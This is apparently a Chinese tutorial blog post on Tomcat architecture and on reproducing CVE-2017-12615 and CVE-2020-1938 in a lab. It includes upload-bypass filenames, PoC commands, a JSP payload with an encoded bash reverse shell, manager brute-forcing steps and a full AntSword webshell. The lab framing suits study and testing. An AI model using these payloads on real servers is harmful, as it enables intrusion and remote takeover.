Tomcat架构解释及漏洞
简单来说,Tomcat可以看成是Web服务器+Servlet容器,如下图
Tomcat能够通过Connector组件接收并解析HTTP请求,然后将一个ServletRequest对象发送给Container处理。容器处理完之后会将响应封装成ServletRespone返回给Connector,然后Connector再将ServletRespone解析为HTTP响应文本格式发送给客户端,至此Tomcat就完成了一次网络通信。

JavaWeb 三大件
Servlet
Filter
过滤器
Listener
监听器
一、什么是Tomcat
tomcat和apache一样是一个免费的服务器,主要用于jsp框架的网站,可以看作是apache的一个扩展,但是运行的时候和apache属于不同的进程。因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为目前比较流行的Web 应用服务器

因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为目前比较流行的Web 应用服务器。
Bin -----存放Tomcat的脚本文件,例如启动、关闭
Conf ----Tomcat的配置文件,例如server.xml和web.xml
Lib -----存放Tomcat运行需要的库文件(JAR包)
Logs ----存放Tomcat执行时的LOG文件
Temp ----存放Tomcat运行时所产生的临时文件
Work ----存放jsp编译后产生的class文件
webapps ----Web发布目录,默认情况下把Web应用文件放于此目录
里面一些重要的文件,需要了解其作用:
server.xml:配置tomcat启动的端口号、host主机、Context等
web.xml文件:部署描述文件,
这个web.xml中描述了一些默认的servlet,部署每个webapp时,都会调用这个文件,
配置该web应用的默认servlet
tomcat-users.xml:tomcat的用户密码与权限。
Nday
1.CVE-2017-12615复现
通过阅读conf/web.xml文件,可以发现:默认 readonly为true,禁止HTTP进行PUT和DELTE类型请求:

当web.xml中readonly设置为false时可以通过PUT/DELETE进行文件操控,漏洞就会触发。
这个CVE漏洞涉及到 DefaultServlet,DefaultServlet作用是处理静态文件,同时DefaultServlet可以处理PUT或DELETE请求,默认配置如图2:
可以看出即使设置readonly为false,默认tomcat也不允许PUT上传jsp和jspx文件,因为后端都用org.apache.catalina.servlets.JspServlet来处理jsp或是jspx后缀的请求,而JspServlet负责处理所有JSP和JPSX类型的动态请求,从代码没有发现处理HTTP PUT类型的操作, 所以可知PUT以及DELTE等HTTP操作由DefautServelt实现。因此,就算我们构造请求直接上传JSP webshell显然是不会成功的。
利用了windows下文件名解析的漏洞来触发的。根本是通过构造特殊后缀名,绕过Tomcat检测,让Tomcat用DefaultServlet的逻辑处理请求,从而上传jsp webshell文件。
具体来说,主要有三种方法:
shell.jsp%20
shell.jsp::$DATA
shell.jsp/



去靶机中检查一下

2.CVE-2020-1938复现
在国内的漏洞编号是CNVD-2020-10487-Tomcat-Ajp-lfi


先启用环境


下载poc
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi.git


3.Tomcat Getshell
这个需要利用上传功能,构造shell.txt文件

dnslog
<%
java.io.InputStream in = Runtime.getRuntime().exec("ping aaaaa.dnslog.cn").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>然后替换进去
<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMDAvMTAwODYgMD4mMQ==}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>这里直接手动传到容器里面了
docker cp shell.txtcve-2020-1938-tomcat-1:/usr/local/tomcat/webapps/ROOT

还要修改一个地方就是脚本的asdf
需要对poc进行修改,将包含"/asdf "修改为"/asdf.jsp"

然后开启监听

运行poc
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.100.104 -p 8009 -f shell.txt

查看监听

4.Tomcat暴力破解
可以直接用现成的
https://github.com/Guoke324/cheek_tomcat
/vulhub/tomcat/tomcat8
先登录抓包放到Intruder

选中

在编码处添加$

配置Payload

添加用户名条目

第二个是 : 不是 ;

第三个是密码条目

添加Base64编码

这里不选择,否则会对编码后的值再进行一次URL编码

开始攻击

这样就🆗了

然后就是爆破进入后台
Tomcat拿到密码之后 有权限之后 就可以部署War包 -> 压缩包名字/文件名字
jsp的蚁剑马,连接密码为cmd
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("cmd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>将cmd.jsp打包成war包
# 上面不行试一下下面的
jar –cvf cmd.war cmd.jsp
jar cvf cmd.war cmd.jsp
到/manager/html/list
http://192.168.100.104:8080/manager/html/list
上传war包

这里就多出来了/cmd

访问一下,文件是存在的
http://192.168.100.104:8080/cmd/cmd.jsp

使用蚁剑连接

看一眼

🆗拿下
-.-
评论区